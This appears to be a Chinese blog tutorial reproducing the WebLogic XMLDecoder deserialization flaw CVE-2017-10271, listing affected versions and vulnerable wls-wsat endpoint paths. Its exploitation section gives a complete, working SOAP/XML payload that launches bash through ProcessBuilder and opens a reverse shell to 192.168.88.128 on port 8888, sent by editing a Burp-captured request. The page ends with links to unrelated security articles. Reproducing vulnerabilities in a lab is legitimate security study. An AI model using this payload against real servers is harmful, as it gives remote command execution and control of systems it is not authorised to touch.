Weblogic XML反序列化漏洞 [CVE-2017-10271]

漏洞环境搭建请参考

http://t.csdnimg.cn/i11e2

漏洞原理

Weblogic的wls security组件对外提供webservice服务,wls security组件使用了xmldecoder来解析用户传入的xml数据,如果用户进行xml恶意数据的构造,即可触发反序列化漏洞

漏洞版本

OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0

漏洞验证

(1)访问web站点,weblogic经典页面

(2)weblogicscan扫描,发现存在漏洞,进行CVE-2017-10271的复现操作

(3)或者访问以下组件地址,出现以下页面证明存在该漏洞

python 复制代码
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞利用

(1)攻击机开启监听

(2)在该组件页面进行F5刷新,Bp抓包

(3)修改数据包的提交方式为POST,并且加入以下payload

python 复制代码
Content-Type: text/xml
Content-Length: 637

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.88.128/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

(4)放包即可拿到反弹shell

相关推荐
Zero_Era39 分钟前
凌科芯安LKT4304 国密安全芯片 在气象设备系统的应用
网络·物联网·安全
介一安全40 分钟前
BurpSuite插件 OneScan 扩展版安装与实战指南
web安全·插件·安全性测试·burpsuite·安全工具
星幻元宇VR1 小时前
消防安全教育体验展厅设备【模拟灭火系统】
科技·学习·安全
Geek_Vison2 小时前
技术实践:保险健康APP引入第三方小程序实战,如何构建一个安全可控的沙箱环境~
android·安全·小程序·uni-app·mpaas
宋浮檀s2 小时前
应急响应——内网渗透基础&横向移动应急排查
网络·安全·web安全
MartinYeung52 小时前
[论文学习]大型语言模型的安全性、安全与隐私问题综述:核心挑战、攻击防禦与未来方向分析
人工智能·学习·安全·语言模型
Geometry Fu2 小时前
《物联网安全》第10章 网络安全管理
物联网·安全·web安全
郑洁文2 小时前
基于CNN的异常流量监测系统的设计与实现
人工智能·神经网络·网络安全·cnn
落叶_Jim3 小时前
Chrome提示不安全3步让你的网站变成HTTPS
chrome·安全·https
2301_815645383 小时前
网络与安全
网络·安全